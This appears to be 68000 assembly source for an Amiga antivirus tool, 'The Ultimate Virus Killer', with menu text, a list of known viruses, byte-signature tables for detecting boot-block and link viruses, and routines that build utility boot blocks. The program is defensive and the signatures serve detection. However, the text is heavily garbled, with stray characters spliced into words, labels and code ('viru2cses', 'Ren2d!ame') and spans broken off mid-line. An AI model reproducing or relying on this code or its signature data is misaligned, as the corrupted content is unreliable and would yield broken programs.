bne.s EndRec move.l #Cls,d2 bsr.W Ecrire2 move.l #50,d3 move.l #NameT,d6 move.l #File2,d5 bsr.W Getname bsr.B WritPrg bne.w EndRec EndRec: bra.W MoveSub Load: clr.b NotFound move.l 2]YT your amiga to clear the memory",$a,$a dc.b " Are you sure (y/n) ? ",-1 even namep: dc.b "prt:",0 name3: dc.b "raw:45/20/524/52/Uvk Request",0 even name2: dc.b "con:45/20/524/52/Uvk Request",0 even name: dc.b "raw:40/5/534/149/UVK V1.22.by Amiguy (K???)",0 even dc.l 0 texte: dc.b $c,$a," ",$9b,"0;33;40mThe Ultimate Virus Killer",0,0 dc.b $9b,"0;31;40m" drtxt: dc.b " ",0 dc.b $a," ",$9b,"0;33;40m-------------------------" dc.b $9b,"0;31;40m" dc.b $a,$a," Your2^"{ choice: ",$a,$a dc.b " 1> Check Bootblock virus auto " autotxt:dc.b "off ",$a dc.b " 2> Check Link-Virus",$a," 3> Display Bootblock" dc.b $a," 4> Copy Bootblock",$a," 5> Move Bootblock " dc.b $a," 6> Create Bootblock",$a," 7> Informations" dc.b $a,$a," 8> Quit",$a,$9b,"0 p",-1 MOVET: DC.B $c,$a," Move a Bootblock" MovtDr: dc.b " (DF0)=Boot" DC.B $a,$9b,"0 p"," ----------------",$a dc.b $a," 1> Bootblock to file" DC.B $a," 2> File to Bootblock",$a dc.b $a," 3> Exit",-1 Key2_ Txt: dc.b $c,$a," Keys :",$A," ----",$a,$a dc.b " nalyser : Analyse the Bootblock.",$a dc.b " hecksum : Recalculate BootBlock Checksum.",$a dc.b " estination : Choose destination drive.",$a dc.b " reetings : Thanx to ...",$a dc.b " nfo : About UVK ...",$a dc.b " ey : This page.",$a dc.b"

rint : Bootblock hardcopy (during Display).",$a dc.b " am Check : Verify the memory.",$a dc.b" am Display : Show the memory in ASCII (during 2`#Display).",$a dc.b " ource : Choose source drive.",$a dc.b " Auo : AutoCheck",$a dc.b " uit : Reset.",$a,-1 Linkt: dc.b " Link Virus Check" dc.b $a,$9b,"0 p"," ----------------",$a dc.b $a," 1> File Scanning" dc.b $a," 2> Startup Scanning" dc.b $a," 3> Directory Scanning" dc.b $a," 4> Disk-Validator Scanning" dc.b $a," 5> Directory",$a dc.b $a," 6> Exit",$a,-1 Greeti: dc.b $c,$a,$a,$a dc.b " I want to thank the people who support me in making this",2a&b|$a dc.b " program :",$a,$a dc.b " - Kougar/Dreamdealers for his printer, his moral support, and",$a dc.b " his viruses.",$a dc.b " - Celenoid/Dreamdealers for the Disk-Doktors virus.",$a dc.b " - Mr Cupertino for the Irq virus.",$a dc.b " - the person who give me a lot of viruses.",$a,$a dc.b " and all the other i've forgotten...",$a,-1 GuyTxt:dc.b $c dc.b $a,$a," This program is copyrighted, but freely redistributable.",$a dc.b " I have spent many time to write this proggy, so if2b6C! you enjoy ",$a dc.b " it, if you want the docfile or the updates, i request you to",$a dc.b " send me 40 FF. This little contribution will support me in",$a dc.b " fighting the viruses. I stand by you !",$a,$a dc.b " Here is my address :",$a dc.b " Amiguy, 2 rue du pr Feray, 27180 Arnires/Iton. France",$a dc.b " You can also contact me on the Minitel :",$a dc.b " 3614 RTEL2, BAL Amiguy",$a,$a dc.b " If you find any bugs/new ideas for updates, if you have some",$a dc.b " new viru2cses, you must contact me too.",$a dc.b " See you soon !",$a,-1 even InsT: dc.b $c,$a," Create a Bootblock" InsTDr: dc.b " D:DF0",$a dc.b " ------------------",$a InsT2: dc.b $a dc.b " 1> Ram Cleaner .. Clean the memory from all the viruses",$a dc.b " 2> NoFastMem .... Disconnect all your Fast Memory until reset",$a dc.b " 3> NoDrives ..... Switch off the external drives until reset",$a dc.b " 4> Test Pal ..... Do a reset if your screen isn't in PAL",$a dc.b " 5> Make Pal ..... Ren2d!ame and force the CLI window to 256 lines",$a dc.b " 6> Led Off ...... Switch off the low pass filter on A500/A2000",$a dc.b " 7> IRQ Protector Protect your Amiga against the IRQ virus",$a dc.b $a," 8> Exit",$a,$a," " dc.b "Choose functions by pressing the fine keys, and press ",$a dc.b " to build the Bootblock. (No Function = Normal Bootblock)",-1 InfT: DC.B $c," UVK knows the following viruses :",$a,$a dc.b " Bootblock viruses :",$a dc.b " SCA (AEK/LSD/BS1/DAG/ICE), Byte 2e^"Bandit 1-3 (FORPIB), Graffiti,",$a dc.b " Pentagon Circle, Lamer Exterminator 1-5, Disk-Doktor, Gadaffi,",$a dc.b " Northstar 1-2, Kauki, Blackflash, Coder, Joshua 1-2, NoName,",$a dc.b " HCS '4220 1-2, Ultrafox, VKill (AIDS), Obelisk, Termigator,",$a dc.b " Claas Abraham, Warhawk, GxTeam, Superboy, Revenge (Sendarian),",$a dc.b " Target system, Extreme, Timebomb, Opapa, RevengeLoader, Hilly,",$a dc.b " Newbeat, Turk, Microsystems, Byte Warrior, Phantasmumble,",$a dc.b " Scarface, 162f cBitCrew, Gremlins, CCCP.",$a dc.b " Link viruses :",$a dc.b " Revenge Lamer 1-2, BGS9, Xeno, CCCP, Terrorists, Disaster,",$a dc.b " Butonic 1.31/3.00, Return Lamer, IRQ, Saddam, Cancer-Smily.",$a dc.b $a,$a," Press for more info.",-1 inft2:dc.b $c," UVK knows the following BootBlocks :",$a,$a dc.b " BootGirl, CCSBoot 2.0/3.0, XCOPY 2.0 Boot, ASS Protector 1.0,",$a dc.b" AVIREX, V.D.C 1.3/1.6/1.7/2.0, No Expansion Memory, Megakiller,",$a dc.b " TIP NoFastMem, Gx.Team NoFast2Qnlear or eep it in memory ?",$a,-1 notft: dc.b " File not found",-1 notftLi:dc.b " File not found",$a,-1 Sumt: dc.b " Recalculate Bootblock Checksum ...",-1 Wr: dc.b " Writing new checksum ...",-1 Namet: dc.b $c,$a," Please, enter filename ",$a,$a,$9B," p"," ",-1 DisRamt:dc.b $c,$a," Please, enter the address2m;h",$a,$a,$9B," p"," " dc.b "$",-1 Volut: dc.b $c,$a," Please, enter volume name ",$a,$a,$9B," p"," ",-1 patht: dc.b $c,$a," Please, enter path name ",$a,$a,$9B," p"," ",-1 Bordt: dc.b $c,$a," Do you want your window to have a border ? (y/n)" dc.b $a," (No = BorderLess).",$9b,"0 p",-1 MakPT: dc.b $c,$a," Please, enter the name of the CLI Window" dc.b $a,$a,$9B," p"," ",-1 VerifT: DC.B $9B,"0 p",$c," Verifying memory ...",$a,$a,-1 IntVt: dc.b "- Interrupt Vectors",$a,-1 Resid: dc.b "2n - Resident pointers",$a,-1 RamCt: dc.b "- Known viruses",$a,-1 ResCt: dc.b "- Residents Prg",$a,-1 ExbOCt: dc.b "- Execbase Offsets",$a,-1 Doschk: dc.b "- Dos Offsets",$a,-1 Intchk: dc.b "- Intuition Offsets",$a,-1 gfxchk: dc.b "- Graphics Offsets",$a,-1 Exbict: dc.b "- Execbase Interrupts",$a,-1 BegIOT: dc.b ">Begin IO (Trackdisk) ....... : $",-1 CloIOT: dc.b ">Close IO (Trackdisk) ....... : $",-1 BegIOT2:dc.b ">Begin IO (Console) ......... : $",-1 Rastt: dc.b ">Raster .............2ov........ : $",-1 Okt: dc.b "Ok",$a,-1 Found: dc.b " found & killed,",-1 Clean: dc.b " No virus found in memory",$a,-1 Rett: dc.b $a," Press to continue",$a,-1 CooT: dc.b $a," Memory cleaned. Please press ",-1 CurOff: dc.b $9b,"0 p",-1 Unkt: dc.b " Nothing suspect ...",-1 UnkLit: dc.b " no virus detected ...",$a,-1 NotExec:dc.b " not a executable file",$a,-1 Sout: dc.b " Insert Source in DF0:",-1 Dest: dc.b " Insert Destination in DF0:",-1 Soutm: dc.b " Insert Sour2pce in DF0:",-1 Destm: dc.b " Insert Destination in DF0:",-1 Sou: dc.b " Insert Source ",$a,-1 Des: dc.b " Insert Destination ",-1 protxt: dc.b " Disk is write protected",-1 ndktxt: dc.b " No disk in drive",-1 Writbb: dc.b " Writing bootblock ...",-1 Readbb: dc.b " Reading bootblock ...",-1 Loadbb: dc.b " Loading bootblock ...",-1 Savebb: dc.b " Saving bootblock ...",-1 LoaLiF: dc.b " Loading file ",-1 EcrClrT:dc.b $c,$a,$a,-1 Kilt: dc.b $a,$a," xit or ill ?",$a,-1 LiKilt: dc.b2q: $a,$a," xit or emove it ?",$a,-1 LoaStar:dc.b " Loading the 'startup-sequence' file ...",$a,-1 ScanStT:dc.b $a," Scanning startup-sequence ...",$a,$a,-1 RemStar:dc.b $a," Virus removed from the startup-sequence",$a,-1 VirDel: dc.b $a," Virus file deleted",-1 LiWrEna:dc.b $a," Please make your disk write enabled",$a,-1 Locate: dc.b " located at $",-1 dosbtn: dc.b " (Dosbase -000)",$a,-1 intlevt:dc.b " Interrupt Level0 : $",-1 execbtn:dc.b " Execbase -000 : $",-1 Intbtn:2\_+ dc.b " Intuition -000 : $",-1 gfxbtn: dc.b " GfxBase -000 : $",-1 execbtp:dc.b " Execbase +000 : $",-1 maxlm: dc.b " MaxLocMem ...... : $",-1 maxem: dc.b " MaxExtMem ...... : $",-1 coldt: dc.b " ColdCapture .... : $",-1 coolt: dc.b " CoolCapture .... : $",-1 kicktt: dc.b " KickTagPtr ..... : $",-1 corvec: dc.b " Corrupted vector at : $",-1 UvkPrt: dc.b " Printing bootblock ... ",-1 VerifPT:dc.b " You should verify your printer ... ",-1 Sure:dc.b " I'm going to RESE2vs"3!m-1 UtilB2: dc.b " Utility Boot V2.0",-1 UtilB5: dc.b " Utility Boot V5.0",-1 UtilB61:dc.b " Utility Boot V6.1",-1 BlizP: dc.b " Blizzard Protector 1.0",-1 Mia: dc.b " MIA Disk Boot",-1 AddrZ: dc.b " ZeroVirus AutoAddRam Boot",-1 FastRZ: dc.b " ZeroVirus NoFastMem Boot",-1 PalZ: dc.b " ZeroVirus BigScreenTest Boot",-1 Ccs3: dc.b " CCS 3.0 Boot",-1 DevW: dc.b " Devware Antivirus",-1 EcsB: dc.b " ECS PAL Boot",-1 Bootleg:dc.b " BootLeg V2.1",-1,0 BotCop2:dc.b " 73 Sec Invisible Brain Bo2wtQ~otCopy",-1 Shin8: dc.b " Shining8 Boot-Util I",-1 StarsB: dc.b " Stars & Blue Copper Boot",-1 RipB: dc.b " Ripper Boot",-1 CoppV: dc.b " Copper VAmiga Boot",-1 Genera: dc.b " Generation Boot",-1 VirAler:dc.b " Virus Alert 2.01 Boot",-1 Stuer: dc.b " Peter Stuer Antivirus",-1 VSbord: dc.b " Viruscope BorderLess boot",-1 VSFast: dc.b " Viruscope KillFast boot",-1 VSOne: dc.b " Viruscope OnePlane boot",-1 VSPal: dc.b " Viruscope Pal boot",-1 VSChip: dc.b " Viruscope OnlyChip boot",-1 VS2xuHMenu: dc.b " Viruscope MenuMaker",-1 VSDr: dc.b " Viruscope QuietDrive boot",-1 SCAPro: dc.b " SCA Protector",-1 Supply: dc.b " SupplyTeam boot",-1 BTune: dc.b " Boot-tune",-1 VCCNF: dc.b " VCC NoFastMem",-1 Tex33: dc.b " SemTex 3.3 boot",-1 Outlaw: dc.b " OutLaws VirusChecker",-1 StarfC: dc.b " Starfire Checker",-1 Sabaud: dc.b " Sabaudian",-1 NDrQ: dc.b " NoDrives by Quartex",-1 Filt: dc.b " FilterBoot 1.01",-1 VCCForb:dc.b " VCC Access Forbidden",-1 VCS32: dc.b " VCS Boot 3.2",-1 2yvM&Clonk: dc.b " Alcatraz's Clonk!",-1 Fly: dc.b " SuperFly Detector 2.0",-1 CopyB3: dc.b " CopyBootBlockIII",-1 Thor: dc.b " Thor Antivirus",-1 Sca: dc.b " SCA (LSD/AEK/BS1/DAG/ICE) virus",-1 Ban: dc.b " Byte Bandit virus 1-3",-1 War: dc.b " Byte Warrior (DASA) virus",-1 Pen: dc.b " Pentagon Circle virus",-1 Lam: dc.b " Lamer Exterminator 1-5 virus",-1 Dok: dc.b " Disk-Doktor virus ",-1 Irq: dc.b " IRQ virus",-1 Gad: dc.b " Gadaffi virus",-1 Hcs: dc.b " HCS virus",-1 Rev: dc.2zwc'b " Revenge V1.2 (Sendarian #1) virus",-1 Nor: dc.b " Northstar 1-2 virus",-1 Bgs9t: dc.b " BGS9 virus",-1 VKill: dc.b " VKill V1.0 (AIDS) virus",-1 TimeB: dc.b " Timebomb System",-1 Obe: dc.b " Obelisk virus",-1 GxTeam: dc.b " GxTeam virus",-1 Abra: dc.b " Claas Abraham virus",-1 Noname: dc.b " Noname virus",-1 Term: dc.b " Termigator virus",-1 LamerR: dc.b " Revenge of the Lamer virus 1",-1 LamerR2:dc.b " Revenge of the Lamer virus 2",-1 ReturnL:dc.b " Return of the La2{x?Nmer virus",-1 Saddam: dc.b " Saddam Hussein virus",-1 Hcs2: dc.b " HCS II virus",-1 Extr: dc.b " Extreme virus",-1 Coder: dc.b " Coder virus",-1 Josh: dc.b " Joshua 1-2 virus",-1 Hilly: dc.b " Hilly virus",-1 NewBeat:dc.b " Alien Newbeat virus",-1 Target: dc.b " Target system",-1 SuperB: dc.b " Superboy virus",-1 Opapa: dc.b " Opapa virus",-1 RevLoa: dc.b " RevengeLoader virus",-1 Xeno: dc.b " Xeno virus",-1 Terro: dc.b " Terrorists virus",-1 Disast: dc.b " Desaster vir2|yus",-1 Graffi: dc.b " Graffiti virus",-1 Turk: dc.b " Turk virus",-1 Microsy:dc.b " Microsystems virus",-1 Scarf: dc.b " Scarface virus",-1 Warh: dc.b " Warhawk virus",-1 BitCrew:dc.b " 16BitCrew virus",-1 Phanta: dc.b " Phantasmumble virus",-1 Grem: dc.b " Gremlins virus",-1 Flash: dc.b " BlackFlash v2.0 virus",-1 Kauki: dc.b " Kauki virus",-1 Ultra: dc.b " Ultrafox virus",-1 CCCP: dc.b " CCCP virus",-1 Buto300:dc.b " Jeff-Butonic 3.00 virus",-1 Buto131:dc.b " Jeff-But2}zonic 1.31 virus",-1 Cancer: dc.b " Cancer-Smily virus",-1 Gar1: dc.b " Guardian V1.1",-1 Gar2: dc.b " Guardian V1.2",-1 Pseu: dc.b " Pseudo Ops virus killer 1.6",-1 CodB: dc.b " Coder board 4.0",-1 Rom40: dc.b " Romcrack 0.40",-1 Rom70: dc.b " Romcrack 0.70",-1 Rom73: dc.b " Romcrack 0.73",-1 Pow2: dc.b " Power Utility 2.0",-1 ;pow1: dc.b " Power Utility 1.0",-1 Atool: dc.b " Atool 2.0",-1 Pro3: dc.b " Protector III",-1 VCtrl: dc.b " Virus Control 1.3",-1 Pseu2: dc.b " Pseudo Ops V2~{J63irus Killer 2.0",-1 even AnaList:dc.l $226,MkTagP,$fd9c,MKSum,$222,MKMemP,46,MCool dc.l 42,MCold,-454,MDoIo,148,MEInt,0 AdrModL:dc.l $2d48,$2d48,-2,$2d50,$2d50,-2,$ffff,$2d7c,-6 dc.l $ffff,$2d79,-6,$ffff,$2d7a,-4,$ffff,$42ae,-2,0 MenList:dc.l " i I",Amiguy," k K",Keypage," c C",Checksum dc.l " q Q",Quit," d D",NextDrd dc.l " s S",NextDrs," 1 1",Check," 3 3",Display," 4 4",Copy dc.l " 5 5",Movesub," 6 6",Create," 7 7",Info dc.l " a A",Analyse," g G",Greet," t T",Autochk dc.l " 2|,F2 2",Link," r R",tstram,0 IoList: dc.l 1,ReseIo,2,ReadIo,3,WritIo,4,UpdaIo,9,MotoIo,10,FormIo dc.l 14,DiskIo,15,ProtIo,5,CleaIo,11,RemoIo,12,SeekIo dc.l 13,ChanIo,0 IoParL: dc.l $28,Iobuf,$24,Iolen,$2c,IoOff,0 ExcExb: dc.l -550,-448,-442,-436,-412,-400,-196,0 CodBL: dc.w $ffc0,$0a00,$ffc0,$0a40,$ffc0,$0a80 ;eori.b/w/l dc.w $f1c0,$b100,$f1c0,$b140,$f1c0,$b180,0 ;eor.b/w/l CreatLi:dc.l "1",0,Cleaner,"2",0,NoFMem,"3",0,NoEDr,"4",0,TestPal dc.l "5",0,MakePal,"6",0,LedOff,"7",0,IrqPr,2ga&0 analt: dc.b $c,$a," Analysing the Bootblock...",$a,$a,-1 ananoth:dc.b $a," Nothing suspect ...",-1 usekst: dc.b " Use the KickSumData Routine ",$a,-1 mktagp: dc.b " Modify the KickTag Pointer",$a,-1 mksum: dc.b " Modify the KickSumData vector",$a,-1 mkmemp: dc.b " Modify the KickMem Pointer",$a,-1 mcool: dc.b " Modify the CoolCapture vector",$a,-1 mcold: dc.b " Modify the ColdCapture vector",$a,-1 mdoio: dc.b " Modify the DoIO vector",$a,-1 meint: dc.b " Modify the2k~,$9fcc0080,Opapa dc.l $30,$33fc4000,$00dff09a,RevLoa dc.l $2c,$0c39004d,$00bfec01,Turk dc.l $164,$287c0007,$fb002940,Graffi dc.l $24,$43f900fc,$52784eae,Microsy dc.l $1e,$33fc4000,$00dff09a,Scarf dc.l $22,$4eb90007,$e63a43fa,Warh dc.l $186,$4e704ed1,$08790008,BitCrew dc.l $20c,$2c790007,$f31243f9,Phanta dc.l $144,$33790007,$f900001c,Grem dc.l $1d2,$43f90004,$50004eae,Flash dc.l $3c,$21ca0084,$45fa024c,Kauki dc.l $396,$303900df,$f08833fc,Ultra dc.l $32a,$337c0f8b,$001a3372l'yΈc,Rev dc.l $2e6,$0c390049,$00bfec01,Josh dc.l $1e0,$0c4603f2,$67d42605,CCCP,0 ProList:dc.l 550,0018,"Guar",Gar2 dc.l 550,-172,"Guar",Gar1 dc.l 550,$bb8,"PS V",Pseu dc.l 550,$498,"oder",CodB dc.l 550,$022,"ROMC",Rom70 dc.l 042,$f36,"ROMC",Rom40 dc.l 550,$236,"III ",Pro3 dc.l 550,$d4e,"2.0 ",Pseu2 dc.l 046,$700,"IRUS",VCtrl dc.l 550,$c98,"Y V2",Pow2 dc.l 550,$068,"0.73",Rom73 dc.l 046,$d4e,"miga",ATool dc.l 550,-172,"3.0 ",Sys30 dc.l 550,-172,"4.0 ",Sys40 dc.l 550,-176,2mҞD"5.0 ",Sys50 dc.l 550,-176,"5.1 ",Sys51 dc.l 550,-142,"V5.3",Sys53 dc.l 550,-142,"V5.4",Sys54 dc.l 550,-130,"V6.1",Sys61 dc.l 550,-986,"V6.4",Sys64 dc.l 550,-986,"V6.5",Sys65,0 RamList:dc.l 46,$3e,$41fafff2,$c,0,SCA dc.l 550,$3e2,$48e77f7f,$4c,0,Ban dc.l 550,$14c,"DASA",192,0,War dc.l 46,$4c,$41faffe6,$18,0,Pen dc.l 550,$3b8,$790048e7,$30,Lam2K,Lam dc.l 550,$406,$226e003a,$2a,Lam3K,Lam dc.l 550,$3be,$45fa0369,$42,Lam1K,Lam dc.l 550,$3ba,$45fa0365,$42,Lam4K,Lam dc.l 550,2n% $3a6,$45fa0350,$42,Lam5K,Lam dc.l 46,$272,$2c790000,$c,DokK,Dok dc.l 46,220,$0007ff14,$d8,GadK,Gad dc.l 46,$e,$6d026022,$48,0,Nor dc.l 46,$e,$41faffb6,$48,0,Nor ;blackstar dc.l 46,$60,$337c0f8b,$32a,RevK,Rev dc.l 46,$6c,$303c00ff,$20,0,Obe dc.l 46,$82,$26497000,$40,0,VKill dc.l 550,$0,$fffffffe,$5b2,0,Bgs9t dc.l 46,$64,$ec246618,$14,0,Hcs2 dc.l 46,$c2,$12d851c8,$60,0,Abra dc.l 46,$31c,$4afc0007,$38,GxTK,GxTeam dc.l 550,$3f4,$203c1113,$94,NNamK,Noname dc.l 46,$2f6,$0839002o|d03,$ce,0,Term dc.l 550,$1216,$237c0121,$100,0,LamerR dc.l 550,$3f4,$2d790007,$48,0,Josh dc.l 550,$40e,$48690056,$46,0,Extr dc.l 550,$2ba,$e6de0879,$29c,0,Coder dc.l 550,$402,$257c0007,$28c,0,Opapa dc.l 550,$3c8,$33fc4000,$30,0,RevLoa dc.l 46,$42,$08390007,$46,0,Superb dc.l 550,-$100,$00fc0090,$12,0,Hilly dc.l 46,$84,$0c79444f,$10,0,Newbeat dc.l 550,-$42,"TTV1",$38,0,Terro dc.l 550,$f6,$2f3a0010,$12,0,Disast dc.l 46,$ac,$0c39004d,$2c,0,Turk dc.l 46,$58,$0007fb00,$166,0,Gr2pu,affi dc.l 46,$c8,$43f900fc,$24,0,Microsy dc.l 550,$346,$33fc4000,$1e,0,Scarf dc.l 46,$56,$4eb90007,$22,0,Warh dc.l 46,$58,$4e704ed1,$186,0,BitCrew dc.l 46,$74,$0007f312,$20e,0,Phanta dc.l 46,$236,$303900df,$396,0,Ultra dc.l 46,$ba,$33790007,$144,0,Grem dc.l 46,$aa,$43f90004,$1d2,0,Flash dc.l 46,$35a,$21ca0084,$3c,0,Kauki dc.l 550,$778,$b1185580,$14,0,ReturnL dc.l 46,$78,$0c4603f2,$1d4,0,CCCP ;link dc.l 550,-8,$303c013a,$56,0,Buto300 dc.l 550,-8,$0c3900df,$52,0,Buto131 2qϳdc.l 42,$138,$7065323c,$12,0,Saddam dc.l 46,$78,$ec24661c,$14,0,Hcs dc.l 0 LinkTab:dc.l $46b,$0e,$082e0000,$01296704,0,LamerR dc.l $44f,$0e,$082e0000,$01296704,0,LamerR2 dc.l $773,$24,$000003ed,$4eaeffe2,0,TimeB dc.l $1a9,$10,$0c902f3a,$00106600,0,Disast dc.l $283,$2a,$0c290002,$000b6500,0,BGS9t dc.l $18a,$3c,$4e757200,$66000094,0,Terro dc.l $168,$1a,$363c4ef9,$41ecffe2,0,Xeno dc.l $109,$c2,$203c43f7,$456941fa,0,Irq dc.l $2cf,$1e,$203c0000,$0bb8223c,0,buto300 dc.l $34a,$8,2r$20bc4e71,$4e716100,0,buto131 dc.l $3cf,$2a,$303c0d53,$1210e419,0,cancer dc.l $fd,$1d4,$0c4603f2,$67d42605,0,CCCP dc.l 0 ValiTab:dc.l $24,$47ec04f0,$240be48a,0,NorVali dc.l $32,$7065323c,$06c1b118,0,Saddam dc.l $32,$708a323c,$06b1b118,0,ReturnL dc.l 0 FileTab:dc.l 0,"FORM",8,"ILBM",iffilbm dc.l -1 iffilbm:dc.b " IFF picture",-1 iffsoun:dc.b " IFF sound",-1 crunche:dc.b " crunched file",-1 datafil:dc.b " data file",-1 NotIns: dc.b " Not Installed Disk",-1 Kick: dc.b " Kickstar2s`vjzt Disk",-1 CcsB: dc.b " CCS Boot 2.0",-1 NoExpan:dc.b " No Expansion Memory Boot",-1 Girl: dc.b " Bootgirl 1.28 Loader",-1 Mem12: dc.b " Memory Controller 1.2",-1 Ass: dc.b " ASS Proctector 1.0",-1 Random: dc.b " Random Access Boot",-1 NoFast: dc.b " NoFastMem Boot",-1 Mem13: dc.b " Memory Controller 1.3",-1 XCopy: dc.b " XCopy Boot",-1 Sys30: dc.b " PvL Antivirus 3.0",-1 Sys40: dc.b " PvL Antivirus 4.0",-1 Sys50: dc.b " PvL Antivirus 5.0",-1 Sys51: dc.b " PvL Antivirus 5.1",-1 Sys532tӳ: dc.b " PvL Antivirus 5.3",-1 Sys54: dc.b " PvL Antivirus 5.4",-1 Sys61: dc.b " PvL Antivirus 6.1",-1 Sys64: dc.b " PvL Antivirus 6.4",-1 Sys65: dc.b " PvL Antivirus 6.5",-1 PvlSnd: dc.b " PvL SoundBoot",-1 Norm: dc.b " Normal DOS Boot",-1 GxTNF: dc.b " Gx.Team NoFastMem",-1 BotCop: dc.b " Invisible Brain Bootcopy",-1 AVirex: dc.b " Avirex Boot",-1 VirTer: dc.b " Virus Terminator V1.0",-1 PalSys: dc.b " PAL Window System",-1 VirSla: dc.b " Virus Slayer 1.0",-1 VDC13: dc.b " Virus De2urpVtector Cleaner V1.3",-1 VDC16: dc.b " Virus Detector Cleaner V1.6",-1 VDC17: dc.b " Virus Detector Cleaner V1.7",-1 VDC20: dc.b " Virus Detector Cleaner V2.0",-1 MegaB: dc.b " Mega-Boot 1.30",-1 MegaK: dc.b " Mega Killer",-1 Synd: dc.b " Syndicate Sinister",-1 Destr: dc.b " Destructor",-1 Diet: dc.b " Dietmar Virus Detector",-1 Obse: dc.b " Dimarz Observer",-1 Deluxe: dc.b " Deluxe Boot",-1 Tritech:dc.b " Tritech Boot V1.0",-1 BootWr: dc.b " Writer Boot",-1 ColorB: dc.b " Colorboot",2`)-198(a6) move.l d0,a1 lea NewOpW(pc),a0 move.l #ENewOpW-NewOpW,d1 CopyLp: move.b (a0)+,(a1)+ dbf d1,CopyLp bsr.L SetFunc lea Intbase(pc),a0 move.l (a0),a1 jsr -414(a6) bra.L ENewOpW NewOpW: movem.l d0-d7/a1-a6,-(a7) move.l a0,-(a7) lea OpenW+2(pc),a0 move.l (a0),d0 bsr.s SetFunc move.l (a7)+,a0 NbLine: move.w #256,6(a0) lea MakPB(pc),a1 move.l a1,26(a0) lea Border(pc),a3 tst.w (a3) beq.L NoBord clr.l 26(a0) clr.l 14(a0) move.b #$18,16(a0) NoBord: movem.l (a7)+,d2a#0-d7/a1-a6 OpenW: dc.w $4ef9,0,0 Intuition:dc.b "intuition.library",0 Intbase:dc.l 0 Border: dc.w 0 MakPB: dc.b "AmigaDOS" blk.b 22,0 SetFunc:move.l 4.w,a6 lea Intbase(pc),a0 move.l (a0),a1 move.l #-204,a0 jsr -420(a6) ;Setfunc rts ENewOpW:nop IrqPr: bra.s ContIrq dc.b ">IRQ Protector<",0 ContIrq:movem.l d0-d7/a0-a6,-(a7) move.l $4.w,a6 moveq #6,d0 moveq #1,d1 jsr -198(a6) ;allocmem move.l d0,a0 beq.s IrqErr move.w #$4ef9,(a0)+ move.l -406(a6),(a0) move.l a6,a1 mov2bB9e.l #-408,a0 jsr -420(a6) ;setfunction IrqErr: movem.l (a7)+,d0-d7/a0-a6 nop CreaPub:bra.s ContPub dc.b " >This Bootblock was created with UVK< " ContPub:nop BootList:dc.l $0c,$41fa0196,$0c506f6d,CCSB dc.l $64,$5c9e004a,$b0a0829c,NoExpan dc.l $20,$428741fa,$ffe8b1fc,Mem12 dc.l $40,$0009001c,$4eaefe38,Girl dc.l $50,$48e7fffe,$337c0009,Ass dc.l $60,$02c000df,$f18033fc,Sys30 dc.l $60,$0f9000df,$f18033fc,Sys40 dc.l $398,$802c332e,$3020802c,Sys50 dc.l $6c,$0226671a,$0cae00072c,Sys51 dc.l $1b0,$000000f0,$00f00000,Sys53 dc.l $1b0,$0eca00f0,$00f00eca,Sys54 dc.l $78,$2c780004,$42ae002e,Sys61 dc.l $312,$fe384e75,$003000bf,Sys65 dc.l $1b0,$0ca90000,$04000024,Sys64 dc.l $0C,$43FA00F4,$4EAEFFA0,NoFast dc.l $24,$203c0000,$1f40223c,CoppV dc.l $0c,$0c6e0020,$00146f00,Random dc.l $0c,$43fa0136,$70004eae,XCopy dc.l $20,$42862a3c,$0027f000,Mem13 dc.l $14,$48e7fffe,$237c0005,GxTNF dc.l $18,$00804e40,$46fc2700,BotCop dc.l $10,$4eba0036,$4cdf7fff,Avir2duex dc.l $14,$0004202e,$02260c80,VirTer dc.l $18,$000a0016,$66000036,VDC13 dc.l $18,$000a0016,$662e6120,VDC16 dc.l $60,$d0ae0032,$4a806600,VDC17 dc.l $60,$7000202e,$002ed0ae,VDC20 dc.l $02,$4b49,$0,Kick dc.l $10,$0,$0,NotIns dc.l $0c,$2c780004,$41fa00b2,Bootleg dc.l $48,$00ff20d9,$51cffffc,PalSys dc.l $150,$feb043f9,$007fa00,VirSla dc.l $60,$43fa00bc,$4eaefe68,MegaK dc.l $30,$3b7c0f00,$01806000,MegaB dc.l $0c,$43fa020c,$4eaeffa0,Diet dc.l $10,$0c6e0020,$00146f00,Synd dc2e.l $10,$027a6704,$4eec0014,Obse dc.l $30,$00326618,$4aae0226,Destr dc.l $34,$223c0001,$0002203c,Deluxe dc.l $40,$23c900df,$f08033c0,PvlSnd dc.l $6a,$48e7fffe,$42b90000,Tritech dc.l $1e,$2c562c56,$23ce0006,UtilB2 dc.l $34,$33fc8380,$00dff096,BootWr dc.l $18,$41f900df,$f000317c,ColorB dc.l $3a,$3e3c00f0,$202e002e,BlizP dc.l $40,$70ff4640,$48404600,Mia dc.l $40,$207a001a,$227a001a,AddrZ dc.l $40,$43fa00da,$4eaefe68,FastRZ dc.l $50,$2c780004,$4eaefe62,PalZ dc.l $20,$0c6e00082f@,$003e6606,Ccs3 dc.l $30,$51c8fffc,$45ed0542,DevW dc.l $20,$427900df,$f1dc4e75,EcsB dc.l $64,$23ee0032,$00051000,Shin8 dc.l $b4,$23c800df,$f080363c,StarsB dc.l $70,$02382d49,$003243f9,UtilB5 dc.l $70,$026c2d49,$003243f9,UtilB61 dc.l $28,$43f90050,$0000203c,RipB dc.l $26,$21c00100,$d0bc0000,Genera dc.l $3c,$4eaefe62,$2c780004,VirAler dc.l $08,$8721cbf9,$43fa0018,SCAPro dc.l $14,$4e55ffd2,$203c0000,Stuer dc.l $50,$23fc1b41,$040000df,VSMenu dc.l $5c,$23fc1b41,$040000df,VSCh2gbl\ip dc.l $44,$43fa00ec,$42802c78,VSOne dc.l $44,$43fa00d6,$42802c78,VSPal dc.l $46,$43fa00a4,$42802c78,VSBord dc.l $32,$00050006,$43fa006c,VSDr dc.l $e4,$41f900c0,$000043f9,VSFast dc.l $104,$217c00fe,$9fbeffe4,Supply dc.l $20,$2b4800a0,$2b4800b0,BTune dc.l $9c,$2b7c0007,$40000080,VCCNF dc.l $bc,$2c790007,$fff02d79,Tex33 dc.l $6e,$246d0094,$266dfe3a,Outlaw dc.l $40,$203c5354,$415223c0,StarfC dc.l $76,$0c99ffff,$fffe6600,Sabaud dc.l $18,$08290001,$000f6716,NDrQ dc.l $2c,$22hǮ37c0000,$0200002c,Filt dc.l $54,$203c7ae5,$fffe43fa,VCCForb dc.l $3f0,$303c035b,$461851c8,VCS32 dc.l $38,$21faffce,$00804e40,Clonk dc.l $11a,$e99a2602,$0203000f,Fly dc.l $14c,$c0c62b40,$002c224d,Copyb3 dc.l $b0,$48403940,$006243fa,Thor dc.l $0c,$43fa0018,$4eaeffa0,Norm,0 virlist:dc.l 